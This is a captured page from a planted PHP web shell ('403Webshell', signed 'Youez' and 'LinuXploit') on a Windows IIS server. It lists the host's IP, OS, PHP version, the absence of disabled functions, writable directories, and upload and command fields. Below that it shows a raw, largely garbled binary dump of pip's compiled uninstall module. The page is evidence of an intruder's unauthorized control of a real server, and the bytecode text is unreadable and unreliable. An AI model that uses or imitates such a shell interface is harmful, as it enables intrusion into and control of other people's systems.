403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pip/_internal/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pip/_internal/commands/__pycache__/uninstall.cpython-312.pyc
�

�k�f4����ddlZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZdd	lmZdd
lmZddlmZmZddlmZmZmZej4e�ZGd
�de
e�Zy)�N)�Values)�List)�canonicalize_name)�
cmdoptions)�Command)�SessionCommandMixin)�SUCCESS)�InstallationError)�parse_requirements)�install_req_from_line�#install_req_from_parsed_requirement)�check_externally_managed�(protect_pip_from_modification_on_windows�warn_if_run_as_rootc�6�eZdZdZdZd	d�Zdedeede	fd�Z
y)
�UninstallCommandaB
    Uninstall packages.

    pip is able to uninstall most installed packages. Known exceptions are:

    - Pure distutils packages installed with ``python setup.py install``, which
      leave behind no metadata to determine what files were installed.
    - Script wrappers installed by ``python setup.py develop``.
    zU
      %prog [options] <package> ...
      %prog [options] -r <requirements file> ...�returnNc	��|jjddddgdd��|jjdd	d
dd�
�|jjtj��|jjtj��|j
j
d|j�y)Nz-rz
--requirement�requirements�append�filezjUninstall all the packages listed in the given requirements file.  This option can be used multiple times.)�dest�action�default�metavar�helpz-yz--yes�yes�
store_truez2Don't ask for confirmation of uninstall deletions.)rrrr)�cmd_opts�
add_optionr�root_user_action�override_externally_managed�parser�insert_option_group)�selfs �BC:\Python312\Lib\site-packages\pip/_internal/commands/uninstall.py�add_optionszUninstallCommand.add_options)s����
�
� � �������A�	!�	
�	
�
�
� � �����E�	!�	
�	
�
�
� � ��!<�!<�!>�?��
�
� � ��!G�!G�!I�J����'�'��4�=�=�9��options�argsc��|j|�}i}|D]T}t||j��}|jr||t	|j�<�?t
j
d|��V|jD]Q}t|||��D]>}t||j��}|js�'||t	|j�<�@�S|s&td|j�d|j�d���|js
t�td|v��|j�D]?}|j|j |j"d	kD�
�}	|	s�0|	j%��A|j&dk(r
t)�t*S)N)�isolatedzSInvalid requirement: %r ignored - the uninstall command expects named requirements.)r)�sessionz*You must give at least one requirement to z (see "pip help z")�pip)�
modifying_pipr)�auto_confirm�verbose�warn)�get_default_sessionr�
isolated_mode�namer�logger�warningrrr
r
r"rr�values�	uninstallr�	verbosity�commitr!rr	)
r%r)r*r-�reqs_to_uninstallr5�req�filename�
parsed_req�uninstall_pathsets
          r&�runzUninstallCommand.runAs����*�*�7�3�����
	�D�'�� �.�.��C��x�x�AD�!�"3�C�H�H�"=�>����%��	�
	� �,�,�	I�H�0��'�7��
I�
�:���)>�)>����8�8�EH�%�&7����&A�B�
I�	I�!�#�<�T�Y�Y�K�H�!�Y�Y�K�r�+��
�
�2�2�$�&�0��#4�4�	
�%�+�+�-�	+�C� #�
�
�$�[�[�����*�!.�!��!�!�(�(�*�
	+��#�#�v�-��!��r()rN)�__name__�
__module__�__qualname__�__doc__�usager'rr�str�intrA�r(r&rrs1���
4�E�:�01�6�1��c��1�s�1r(r)�logging�optparser�typingr�pip._vendor.packaging.utilsr�pip._internal.clir�pip._internal.cli.base_commandr�pip._internal.cli.index_commandr�pip._internal.cli.status_codesr	�pip._internal.exceptionsr
�pip._internal.reqr�pip._internal.req.constructorsrr
�pip._internal.utils.miscrrr�	getLoggerrBr6rrIr(r&�<module>rWsW�����9�(�2�?�2�6�0����
��	�	�8�	$��X�w� 3�Xr(

Youez - 2016 - github.com/yon3zu
LinuXploit